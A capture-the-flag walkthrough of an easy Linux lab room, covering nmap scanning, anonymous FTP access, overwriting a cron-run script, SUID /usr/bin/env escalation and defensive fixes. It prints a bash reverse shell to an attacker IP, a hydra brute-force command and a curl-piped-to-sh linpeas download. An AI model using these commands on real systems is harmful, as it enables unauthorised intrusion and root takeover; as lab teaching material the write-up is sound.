

Anonymous

Room Writeup & Walkthrough

Difficulty: Easy | **OS:** Linux | **Target:** 10.113.184.157

Key techniques: Anonymous FTP, Cron Job Abuse, SUID /usr/bin/env

Phase 1: Reconnaissance

1. Nmap Scan

We begin every engagement with an nmap service/version scan to map the attack surface.

```
nmap -sC -sV -oN nmap_anonymous.txt 10.113.184.157
```

-sC runs the default NSE scripts (banner grabs, SMB enumeration, FTP anonymous check). **-sV** probes ports to determine service version. **-oN** saves output in normal format for later reference.

Open Ports

Port	Service	Detail	Significance
21/tcp	FTP (vsftpd 3.0.3)	Anonymous login enabled	Direct file access; writable scripts/ dir
22/tcp	SSH (OpenSSH 7.6p1)	Ubuntu 18.04	Shell delivery once creds/shell obtained
139/tcp	NetBIOS/Samba	Samba 4.7.6-Ubuntu	SMB share enumeration (pics share)
445/tcp	SMB	Guest auth, no signing	Share access; signing disabled = risk

Note: SMB message signing is disabled. This is dangerous in real environments as it enables relay attacks (NTLM relay / Pass-the-Hash). Not exploited here but worth flagging in a pentest report.

2. FTP — Anonymous Login

vsftpd reported **anonymous login allowed** and the nmap NSE script already listed the directory contents. Anonymous FTP means we log in with username **anonymous** and a blank password — no credentials needed.

```
ftp 10.113.184.157
  Username: anonymous
  Password: (blank)
```

Inside the FTP root we found a **scripts/** directory. Permissions: **drwxrwxrwx**.

That permission string is critical. Breaking it down:

d = directory
rwx (owner) = read, write, execute
rwx (group) = read, write, execute
rwx (other) = read, write, execute

The final **rw**x — the *other* category — means **any user on the system**, including the anonymous FTP user, can write to this directory. We can upload or overwrite files here.

Files Retrieved

We downloaded all three files from scripts/:

to_do.txt — A note from the admin: *"I really need to disable the anonymous login"*. Confirms they know it's a risk but haven't fixed it yet.

removed_files.log — Dozens of lines reading *"Running cleanup script: nothing to delete"*. This log is being appended to repeatedly, which means **clean.sh is being executed automatically on a schedule**.

clean.sh — The bash script being run. It checks for temp files and logs results to removed_files.log.

Tip: The log file timestamps updating continuously is the clue that a cron job is running clean.sh. You can also confirm with: `ls -la removed_files.log` (watch mtime change each minute).

3. Reverse Shell via Writable Cron Script

The attack chain is:

1. clean.sh runs automatically every minute (cron job owned by namelessone)
2. The scripts/ directory is world-writable via anonymous FTP
3. We overwrite clean.sh with a bash reverse shell
4. The cron fires, executes our payload, we get a shell as namelessone

What is a Cron Job?

Cron is a Linux time-based job scheduler. The crontab file specifies commands to run at defined intervals. A common entry like `***** /var/ftp/scripts/clean.sh` means: run clean.sh every minute. Cron jobs run as the user who owns them — here, **namelessone**.

Crafting the Payload

We overwrite clean.sh locally with a bash TCP reverse shell:

```
echo '#!/bin/bash' > clean.sh
echo 'bash -i >& /dev/tcp/192.168.133.49/4444 0>&1' >> clean.sh
```

Breaking down the reverse shell one-liner:

bash -i — launches an interactive bash shell

>& /dev/tcp/IP/PORT — redirects stdout and stderr to a TCP connection (Linux treats /dev/tcp as a socket)

0>&1 — redirects stdin from the same socket, giving us bidirectional comms

Listener and Upload

```
# Terminal 1 — listener
nc -lvnp 4444

# Terminal 2 — upload via FTP
ftp 10.113.184.157
cd scripts
put clean.sh
```

Within a minute the cron fires, executes our shell, and we receive a connection as **namelessone**.

Who Did We Get a Shell As?

We landed as **namelessone** — the regular user who owns the cron job and the home directory. This is a low-privilege user. We can read user.txt but cannot access /root/. We need privilege escalation.

Stabilising the Shell

The initial reverse shell is fragile (no job control, Ctrl+C kills it). We upgrade it:

```
python3 -c 'import pty;pty.spawn("/bin/bash")'
```

This spawns a proper PTY so the shell behaves like a normal terminal.

4. SUID Binary Enumeration

With a shell as namelessone we look for SUID binaries — the most common privesc vector on Linux CTFs:

```
find / -perm -u=s -type f 2>/dev/null
```

-perm -u=s finds files with the SUID bit set. **2>/dev/null** suppresses permission-denied errors so the output is clean.

5. What is SUID?

SUID (Set User ID) is a Linux permission bit. When set on an executable, the program runs with the **file owner's privileges** rather than the caller's privileges.

Example: **/usr/bin/passwd** is owned by root and has SUID set. When you run passwd as a regular user, it temporarily runs as root so it can write to /etc/shadow. That's the legitimate use case.

The danger: if a binary that has SUID root can be made to spawn a shell or execute arbitrary commands, that shell runs as root. This is the SUID privesc class.

You can spot SUID binaries in ls output by the **s** in the owner execute position: **-rwsr-xr-x**

6. Exploiting /usr/bin/env

Among the SUID results, **/usr/bin/env** stands out. env is a utility that sets environment variables and runs programs. It is not normally SUID — this is a misconfiguration.

Because env can execute any program and it runs as root (SUID), we can use it to spawn a root shell:

```
/usr/bin/env /bin/sh -p
```

/bin/sh — spawn a shell

-p — privileged mode: do not drop elevated privileges on startup (without -p, bash/sh drops SUID privileges as a safety measure)

This drops us into a root shell (#). We can now read /root/root.txt.

Tip: GTFOBins (gtfobins.github.io) is the definitive reference for SUID/sudo/capability escapes. Search any binary name to find exploitation methods.

7. Alternative Paths if FTP / Cron Were Locked Down

If Anonymous FTP was disabled

The FTP service is still running. Next steps:

- Brute-force FTP credentials: **hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://10.113.184.157**
- Check vsftpd version for known CVEs (vsftpd 2.3.4 had a famous backdoor shell on port 6200)
- Move to SMB enumeration immediately

SMB Enumeration (always worth running in parallel)

```
smbclient -L //10.113.184.157 -N
smbmap -H 10.113.184.157
```

The pics share was visible. Even without write access, shares sometimes contain credentials, config files, or private keys. Always enumerate share contents:

```
smbclient //10.113.184.157/pics -N
ls
```

If the scripts/ directory was not writable

With FTP read-only access you can still read the scripts and logs to understand the system. Pivot to SSH — check if any FTP files leak credentials or if the SSH host key is reused. Try credential stuffing with any usernames found (e.g. namelessone).

If no SUID misconfiguration existed

Standard Linux privesc checklist:

- **sudo -l** — check sudo permissions for current user
- **cat /etc/crontab; ls /etc/cron.*** — look for system-wide cron jobs with weak permissions
- **find / -writable -type f 2>/dev/null** — find any writable files owned by root
- Check for credentials in config files, bash history, env variables
- Run **linpeas.sh** for automated enumeration
- Check kernel version for local privilege escalation CVEs (uname -r)

```
# Upload linpeas
curl -L https://github.com/peass-ng/PEASS-ng/releases/latest/download/linpeas.sh | sh
```

8. Full Attack Chain Summary

1. **Nmap** reveals anonymous FTP with a world-writable scripts/ directory, SSH, and SMB.
2. **FTP anonymous login** — download clean.sh and removed_files.log, confirm cron is running clean.sh.
3. **Overwrite clean.sh** with a bash reverse shell, re-upload via FTP.
4. **Cron fires** — shell received as **namelessone**. Grab user.txt.
5. **SUID enumeration** — /usr/bin/env has SUID bit set (misconfiguration).
6. **/usr/bin/env /bin/sh -p** — root shell. Grab root.txt.

9. Defensive Lessons

Disable anonymous FTP — there is almost never a legitimate reason for it. Set anonymous_enable=NO in vsftpd.conf.

Audit directory permissions — world-writable directories reachable via anonymous services are critical findings. Regularly run: find / -perm -o+w -type d 2>/dev/null

Audit SUID binaries — only a small set of binaries need SUID (passwd, ping, su). Remove SUID from anything else: chmod u-s /usr/bin/env

Enable SMB signing — prevents relay attacks on the network.

Principle of least privilege — cron jobs should run as dedicated low-privilege service accounts, not as interactive user accounts like namelessone.

10. Commands Cheat Sheet

```
# Recon
nmap -sC -sV -oN scan.txt TARGET
smbclient -L //TARGET -N

# FTP
ftp TARGET (anon login)
cd scripts; get clean.sh

# Reverse shell payload
bash -i >& /dev/tcp/ATTACKER/4444 0>&1

# Shell stabilisation
python3 -c 'import pty;pty.spawn("/bin/bash")'

# SUID enumeration
find / -perm -u=s -type f 2>/dev/null
```

```
# SUID env exploit  
/usr/bin/env /bin/sh -p
```